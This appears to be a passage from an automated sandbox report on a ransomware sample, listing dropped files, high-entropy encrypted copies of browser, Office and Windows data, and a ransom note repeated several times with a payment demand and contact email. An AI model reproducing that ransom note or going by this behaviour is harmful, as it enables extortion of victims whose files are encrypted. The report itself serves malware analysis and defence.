file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{6f6a6616-c437-4533-b6a1-6b30da29cd38}\0.0.filtertrie.intermediate.txt -> decryption settings~decrease zoom level~decrease volume~decrease mouse speed~decrease mouse acceleration~decrease brightness~decode~decice~deault~deaf~deafult~ddevice~daylight saving time on or off~davice~dates~date time~date settings~date and time~date and time settings~date and time from a time server~date and time formats~data~data you send to microsoft~data viewer~data usage overview~data to improve narrator~data systemwide~data settings~data sense~data saver~data restore~data plan~data limit~data instead of wifi~data for all apps~data connection with other devices~data captured by windows mixed reality~dark~darker touch feedback~dark theme~dark theme settings~dark mode systemwide~dark mode settings~dark mode for apps~dark colours~dark colors~dafault~c~cutting and pasting~cut and paste~customizing~customize~customize narrator sounds setting~customize narrator sound effects setting~customising~cust	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File dropped: C:\_README.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.do not ask assistants from youtube and recovery data sites for help in recovering your data.they can use your free decryption quota and scam you.our contact is emails in this text document only.you can get and look video overview decrypt tool:https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27price of private key and decrypt software is $999.discount 50% available if you contact us first 72 hours, that's price for you is $499.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:support@freshingmail.topreserve e-mail address	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{ac01b07d-c9ac-4d31-8220-3dc6d7aa0576}\0.0.filtertrie.intermediate.txt -> decryption settings~decrease zoom level~decrease volume~decrease mouse speed~decrease mouse acceleration~decrease brightness~decode~decice~deault~deaf~deafult~ddevice~daylight saving time on or off~davice~dates~date time~date settings~date and time~date and time settings~date and time from a time server~date and time formats~data~data you send to microsoft~data viewer~data usage overview~data to improve narrator~data systemwide~data settings~data sense~data saver~data restore~data plan~data limit~data instead of wifi~data for all apps~data connection with other devices~data captured by windows mixed reality~dark~darker touch feedback~dark theme~dark theme settings~dark mode systemwide~dark mode settings~dark mode for apps~dark colours~dark colors~dafault~c~cutting and pasting~cut and paste~customizing~customize~customize narrator sounds setting~customize narrator sound effects setting~customising~cust	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt -> decryption settings;change encryption settings"}},{"system.parsingname":{"type":12,"value":"aaa_settingspagedevices.settingcontent-ms"},"system.setting.fontfamily":{"type":12,"value":"segoe mdl2 assets"},"system.setting.glyph":{"type":12,"value":""},"system.setting.pageid":{"type":12,"value":"settingspagedevices"},"system.comment":{"type":12,"value":"bluetooth and other devices settings"},"system.highkeywords":{"type":12,"value":"device;projector;projectors;pair bluetooth device;unpair device;pair device;bluetooth settings;add bluetooth device;add device"}},{"system.parsingname":{"type":12,"value":"aaa_settingspagedevicespen-2.settingcontent-ms"},"system.setting.fontfamily":{"type":12,"value":"segoe mdl2 assets"},"system.setting.glyph":{"type":12,"value":""},"system.setting.pageid":{"type":12,"value":"settingspagedevicespen"},"system.comment":{"type":12,"value":"pen and windows ink settings"},"system.highkeywords":{"type":12,"value":"pens;handedness;cursor;cursors;writing;write;workspace;pen shortcuts;h	Jump to dropped file
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	File dropped: C:\Users\user\AppData\Local\VirtualStore\_README.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.do not ask assistants from youtube and recovery data sites for help in recovering your data.they can use your free decryption quota and scam you.our contact is emails in this text document only.you can get and look video overview decrypt tool:https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27price of private key and decrypt software is $999.discount 50% available if you contact us first 72 hours, that's price for you is $499.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:support@freshingmail.topreserve e-mail address	Jump to dropped file
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	File dropped: C:\Users\user\_README.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.do not ask assistants from youtube and recovery data sites for help in recovering your data.they can use your free decryption quota and scam you.our contact is emails in this text document only.you can get and look video overview decrypt tool:https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27price of private key and decrypt software is $999.discount 50% available if you contact us first 72 hours, that's price for you is $499.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:support@freshingmail.topreserve e-mail address	Jump to dropped file

Writes many files with high entropy

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{85ecd8a6-5545-4d2b-9208-c246bb8cb810}\Apps.ft entropy: 7.99647826393	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{85ecd8a6-5545-4d2b-9208-c246bb8cb810}\0.0.filtertrie.intermediate.txt entropy: 7.99512109656	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{84c2e19f-ba07-4fa5-bd92-4f6344328293}\Apps.ft entropy: 7.996805041	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{84c2e19f-ba07-4fa5-bd92-4f6344328293}\0.0.filtertrie.intermediate.txt entropy: 7.99522815539	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{c82d26a9-b16c-48ba-9444-88303f538f65}\settingssynonyms.txt entropy: 7.99808317936	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{c82d26a9-b16c-48ba-9444-88303f538f65}\settingsglobals.txt entropy: 7.99597017848	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_kefjledonklijopmnomlcbpllchaibag\Slides.ico entropy: 7.99887437512	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_fmgjjmmmlfnkbppncabfkddbjimcfncm\Gmail.ico entropy: 7.99855170016	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_fhihpiojkbmbpdjeoajapmgkhlnakfjf\Sheets.ico entropy: 7.9986508765	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_agimnkijcaahngcdmfeangaknmldooml\YouTube.ico entropy: 7.99858488833	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_aghbiahbpaijignceidepookljebhfak\Google Drive.ico entropy: 7.99882305393	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_mpnpojknpmmopombnjdcgaaiekajbnjb\Docs.ico entropy: 7.99853574426	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\-U2ww19iycr3M_DiD25JdVUDdqk.br[1].js entropy: 7.99821334313	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\aABLNT_FV45QjYQfnRHrBCAk4GU[1].js entropy: 7.99866092855	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\5_KhThI0onehz_-3sl58j0dOeLI.br[1].js entropy: 7.99870579783	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\584482RVjBIoEvVSe0RsuS1I4YQ.br[1].js entropy: 7.99620584588	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\DccpWCpoNzCwM4Qymi_Ji67Ilso.br[1].js entropy: 7.99830576818	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin entropy: 7.99731749724	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\first_party_sets.db entropy: 7.99631782498	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Microsoft\input\en-GB\userdict_v1.0809.dat entropy: 7.99239941093	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db entropy: 7.99160651834	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officec2rclient.exe.db entropy: 7.99351632877	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officeclicktorun.exe.db entropy: 7.99279375985	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officesetup.exe.db entropy: 7.99253115498	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000001c.db entropy: 7.99827751211	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000004.db entropy: 7.99829111526	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000005.db entropy: 7.99804733186	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\ExplorerStartupLog_RunOnce.etl entropy: 7.9932286308	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Shell\DefaultLayouts.xml entropy: 7.99707974043	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install_2023-10-05_061938_46c-3e0.log entropy: 7.99346008125	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\MSIMGSIZ.DAT entropy: 7.99676769538	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AppData\CacheStorage\CacheStorage.jfm entropy: 7.99098619812	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\MSIMGSIZ.DAT entropy: 7.99621534038	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\Init[1].htm entropy: 7.99827875081	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\MgSq5EEOyYvlI1qVlLOXfgRHmzM.br[1].js entropy: 7.99811198218	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\mb8fkd60iW7q4wvyDIlCm9OOn10.br[1].js entropy: 7.99601611971	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\pqKAmz-4RXsuUf_YO-8_wQDepUQ.br[1].js entropy: 7.99554706306	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\onra7PQl9o5bYT2lASI1BE4DDEs[1].css entropy: 7.99667711291	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\xIW3D5oXL8xIpGjHoiGVJS_B4mg.br[1].js entropy: 7.99641605819	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\uANxnX_BheDjd2-cdR8N9DEWlds[1].css entropy: 7.99081445542	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\tIa_X3QDXj2Izj2HpQ_Mo9f1WiM.br[1].js entropy: 7.9983700699	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\yNwdh0ra_6sDoSuCVMI8Wjl58UM.br[1].js entropy: 7.99804448179	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\YfXD9vOw8__a60l-k1HNCxSbem4.br[1].js entropy: 7.99679269662	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\eventpage_bin_prod.js entropy: 7.99784995721	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\wallet-checkout-eligible-sites-pre-stable.json entropy: 7.99864117478	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\super_coupon.json entropy: 7.99083852311	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\eventpage_bin_prod.js entropy: 7.99769561362	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite-shm entropy: 7.99458627269	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite entropy: 7.99569847802	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite-shm entropy: 7.99347404788	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite entropy: 7.99626214617	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite-shm entropy: 7.99495679744	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite entropy: 7.99604674136	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\Microsoft\Internet Explorer\DOMStore\DQECM999\www.bing[1].xml entropy: 7.99609327823	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\wallet-tokenization-config.json entropy: 7.99323452273	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\flapper.gif entropy: 7.99757591766	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite-shm entropy: 7.99394572701	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite-shm entropy: 7.99505095139	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite entropy: 7.99599198296	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite-shm entropy: 7.99506633172	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite entropy: 7.99630203123	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409603873448744.txt entropy: 7.99837607974	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409603755735310.txt entropy: 7.99805923652	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_metadata\verified_contents.json entropy: 7.99014794885	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409603686917468.txt entropy: 7.99856450825	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409602890767950.txt entropy: 7.99849335394	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409611536865225.txt entropy: 7.99847724674	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409610265331693.txt entropy: 7.9985336562	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409609587090804.txt entropy: 7.99856866328	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409608313396144.txt entropy: 7.99848233111	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409607532982526.txt entropy: 7.99837204751	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409605511411373.txt entropy: 7.99834506704	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409605028834776.txt entropy: 7.99852000501	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409604847938702.txt entropy: 7.99854510787	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409604779873335.txt entropy: 7.99835109324	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409604473729424.txt entropy: 7.99853726511	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409604173107312.txt entropy: 7.99829312025	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\IDX_CONTENT_TASKBARHEADLINES.json entropy: 7.99857609589	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\GLEAM-LIGHT.svg entropy: 7.99379491067	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\GLEAM-DARK.svg entropy: 7.99423523663	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133584166283882400.txt entropy: 7.99845621215	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133584165980567282.txt entropy: 7.99839124381	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409618620166650.txt entropy: 7.99859277383	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409618348757513.txt entropy: 7.99839532421	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409618156106430.txt entropy: 7.99870829057	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409611829881178.txt entropy: 7.99849351309	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409611734040046.txt entropy: 7.99842867713	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\ls-archive.sqlite entropy: 7.99859240784	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl entropy: 7.9972949949	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\000003.log entropy: 7.99454728661	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases\Databases.db entropy: 7.99235958349	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeEDrop\EdgeEDropSQLite.db entropy: 7.99394414179	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\Local Settings\Adobe\Acrobat\DC\UserCache64.bin.bgjs (copy) entropy: 7.99731749724	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\Local Settings\Google\Chrome\User Data\first_party_sets.db.bgjs (copy) entropy: 7.99631782498	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\Local Settings\Microsoft\input\en-GB\userdict_v1.0809.dat.bgjs (copy) entropy: 7.99239941093	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\excel.exe.db.bgjs (copy) entropy: 7.99160651834	Jump to dropped file
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\officec2rclient.exe.db.bgjs (copy) entropy: 7.99351632877	Jump to dropped file
